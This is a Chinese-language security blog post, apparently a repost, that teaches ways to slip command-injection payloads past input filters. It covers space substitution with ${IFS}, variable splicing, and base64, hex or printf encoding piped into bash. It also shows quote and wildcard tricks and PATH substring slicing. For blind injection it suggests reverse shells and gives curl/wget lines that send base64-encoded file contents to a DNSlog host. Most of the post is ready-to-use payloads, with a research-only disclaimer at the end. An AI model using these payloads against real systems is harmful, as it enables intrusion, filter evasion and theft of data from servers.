命令执行绕过技巧

admin 2024年5月16日13:12:16评论21 views字数 2491阅读8分18秒阅读模式

前言

前面的一篇文章说了一下SQL注入的绕过技巧,这篇文章再来看看命令执行的绕过技巧。

空格绕过

有时,在执行命令时会发现空格被过滤导致无法执行,可以尝试通过下面的方式

> < <> 重定向符%20(space)%09(tab)$IFS$9 ${IFS}(最好用这个)$IFS  {cat,flag.txt} 在大括号中逗号可起分隔作用

${IFS}:这算是Linux中的一个变量。Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

花括号的别样用法:在Linux bash中可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,如{mv,文件1,文件2}

命令执行绕过技巧

黑名单或者正则绕过

另外一种常见的过滤方式就是设置了黑名单或者正则表达式,可以尝试下面的方式绕过

1)拼接变量

如果定义输入的黑名单,可以通过定义一个变量,然后拼接变量去绕过

#在linux系统中a=g;cat fla$a.phpa=fl;b=ag.php;cat $a$b#在php的ping环境中ip=;a=g;cat fla$a.phpip=;a=fl;b=ag.php;cat $a$b

命令执行绕过技巧

2)编码绕过

通过对命令进行编码,然后在解码,最后执行。常用的编码方式base64,hex编码,shellcode编码

#1.base64编码:cat flag.php -> Y2F0IGZsYWcucGhw`echo "Y2F0IGZsYWcucGhw"|base64 -d`$(echo "Y2F0IGZsYWcucGhw"|base64 -d)echo "Y2F0IGZsYWcucGhw"|base64 -d|bashecho "Y2F0IGZsYWcucGhw"|base64 -d|sh#2.hex编码:cat flag.php -> 63617420666c61672e706870echo "63617420666c61672e706870"|xxd -r -p|bash#xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件#-r参数:逆向转换。将16进制字符串表示转为实际的数#-ps参数:以 postscript的连续16进制转储输出,也叫做纯16进制转储。#-r -p将纯十六进制转储的反向输出打印为了ASCII格式。#3.shellcode编码:cat flag.php -> x63x61x74x20x66x6cx61x67x2ex70x68x70#经测试,发现在php的ping环境上执行失败。在linux系统上执行成功$(printf "x63x61x74x20x66x6cx61x67x2ex70x68x70"){printf,"x63x61x74x20x66x6cx61x67x2ex70x68x70"}|bash`{printf,"x63x61x74x20x66x6cx61x67x2ex70x68x70"}`

命令执行绕过技巧

3)单双引号法

单双引号中并没有字符,相当于在其中没有添加任何字符,命令意思不变

ca''t flag.txtca""t flag.txt

4)跨行符''绕过

跨行符的意思为接着上一行的内容,转到下一行接着输入命令,上下行均是一条命令

cat flag.phpcat flag.php

5)利用shell特殊变量绕过

特殊变量有:$1到$9、$@和$*等

命令执行绕过技巧

cat fl$1ag.phpcat fl$@ag.php

命令执行绕过技巧

6)通配符绕过

通配符可以替代任何字符

shell通配符有::表示通配字符0次及以上? : 表示通配字符0或
例如:/bin/ca?相当于cat命令cat *cat f*/???/?at flag.php #/bin/cat flag.php/???/?at ????????/???/?[a][t] ????????/???/?[a][t] ?''?''?''?''?''?''?''?''/???/?[a]''[t] ?''?''?''?''?''?''?''?''/???/[:lower:]s #ls

7)内联执行

内联执行就是在一条shell语句中内嵌子shell语句,用主shell语句处理子语句的结果

可用于内联语句的符号有 ${},``(反引号)

echo `ls` echo ${ls} 相当于把ls的结果使用echo输出

8)“${}”截取环境变量拼接

"${}"是对变量进行处理的一个函数,它可以对变量值进行取长度,截取,替换等操作。因此我们可以从已知的文件或者内容中提取一部分内容来组成我们想要的内容

${PATH:start:length}  start:起始位置length:截取长度,可为负数
${PATH:14:1}${PATH:5:1} flag.txt在此环境中相当于 nl flag.txt

9)[]中括号匹配绕过

例如[a-c] 代表匹配 a-b之间的字符,包括a,b字符本身

匹配范围为当前目录

/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt相当于/bin/cat flag.txt因为[]匹配范围只在当前路径所以要为bin绝对路径

无回显命令执行

无回显的执行函数:

exec()shell_exec()`` (反引号)

这些需要php函数echo才可以输出结果,可以通过下面的方式进行利用。

1)反弹shell

能反弹shell当然最好,这个不必多说,也是用的最多的方式。

2)dnslog外带数据法

需要dnslog平台,可自己搭建

curl dnslog平台url/`cat flag.php|base64`wget dnslog平台url/`cat flag.php|base64`

3)复制到可访问文件

tee命令:tee 命令可用于创建或追加写入文件

可配合cat等打开文件命令和管道符将执行后的命令写入到规定文件中

先将根目录复制到某个文件,然后访问查看ls /| tee 1.txt然后输入 url/1.txt  即可查看根目录

原文始发于微信公众号(信安路漫漫):命令执行绕过技巧

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月16日13:12:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令执行绕过技巧https://cn-sec.com/archives/2745465.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息